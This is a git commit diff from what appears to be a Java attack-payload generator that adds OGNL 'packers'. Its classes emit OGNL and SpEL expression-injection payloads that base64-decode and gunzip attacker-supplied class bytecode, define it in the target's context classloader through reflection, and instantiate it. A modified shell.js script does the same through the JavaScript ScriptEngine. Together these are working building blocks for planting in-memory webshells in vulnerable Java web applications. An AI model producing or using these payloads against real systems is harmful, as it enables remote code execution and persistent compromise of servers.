feat: support OGNL SpringUtils packers

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

@@ -31,6 +31,9 @@ import com.reajason.javaweb.packer.jsp.JspxPacker;
 import com.reajason.javaweb.packer.jxpath.JXPathPacker;
 import com.reajason.javaweb.packer.mvel.MVELPacker;
 import com.reajason.javaweb.packer.ognl.OGNLPacker;
+import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
+import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
+import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
 import com.reajason.javaweb.packer.rhino.RhinoPacker;
 import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
 import com.reajason.javaweb.packer.spel.SpELPacker;
@@ -83,7 +86,12 @@ public enum Packers {
      * EL
      */
     EL(new ELPacker()),
+
     OGNL(new OGNLPacker()),
+    OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
+    OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
+    OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
+
     MVEL(new MVELPacker()),
     Aviator(new AviatorPacker()),
     JXPath(new JXPathPacker()),

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLPacker.java

@@ -1,19 +1,11 @@
 package com.reajason.javaweb.packer.ognl;
 
-import com.reajason.javaweb.packer.ClassPackerConfig;
-import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.AggregatePacker;
 
 /**
  * @author ReaJason
  * @since 2024/12/14
  */
-public class OGNLPacker implements Packer {
-    String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
+public class OGNLPacker implements AggregatePacker {
 
-    @Override
-    public String pack(ClassPackerConfig config) {
-        String script = Packers.ScriptEngine.getInstance().pack(config);
-        return template.replace("{{script}}", script);
-    }
 }

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLScriptEnginePacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.packer.ognl;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class OGNLScriptEnginePacker implements Packer {
+    String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        String script = Packers.ScriptEngine.getInstance().pack(config);
+        return template.replace("{{script}}", script);
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java

@@ -0,0 +1,33 @@
+package com.reajason.javaweb.packer.ognl;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import lombok.SneakyThrows;
+import org.apache.commons.codec.binary.Base64;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.util.zip.GZIPOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/7
+ */
+public class OGNLSpringIOUtilsGzipPacker implements Packer {
+    String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
+
+    @Override
+    @SneakyThrows
+    public String pack(ClassPackerConfig config) {
+        return template.replace("{{className}}", config.getClassName())
+                .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
+    }
+
+    public static byte[] gzipCompress(byte[] data) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
+            gzip.write(data);
+        }
+        return out.toByteArray();
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java

@@ -28,6 +28,7 @@ public class ScriptEnginePacker implements Packer {
     @SneakyThrows
     public String pack(ClassPackerConfig config) {
         return jsTemplate
+                .replace("{{className}}", config.getClassName())
                 .replace("{{base64Str}}", config.getClassBytesBase64Str())
                 .replace("\n", "")
                 .replaceAll("(?m)^[ \t]+|[ \t]+$", "")

packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java

@@ -3,10 +3,10 @@ package com.reajason.javaweb.packer.spel;
 import com.reajason.javaweb.packer.ClassPackerConfig;
 import com.reajason.javaweb.packer.Packer;
 import lombok.SneakyThrows;
+import org.apache.commons.codec.binary.Base64;
 
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
-import java.util.Base64;
 import java.util.zip.GZIPOutputStream;
 
 
@@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
     @SneakyThrows
     public String pack(ClassPackerConfig config) {
         return template.replace("{{className}}", config.getClassName())
-                .replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
+                .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
     }
 
     public static byte[] gzipCompress(byte[] data) throws IOException {

packer/src/main/resources/shell.js

@@ -1,4 +1,5 @@
 var base64Str = "{{base64Str}}";
+var className = "{{className}}";
 var clsString = java.lang.Class.forName("java.lang.String");
 var bytecode;
 try {
@@ -10,7 +11,7 @@ try {
 }
 var clsByteArray = (new java.lang.String("a").getBytes().getClass());
 var clsInt = java.lang.Integer.TYPE;
-var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
+var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
 defineClass.setAccessible(true);
-var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
+var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
 clazz.newInstance();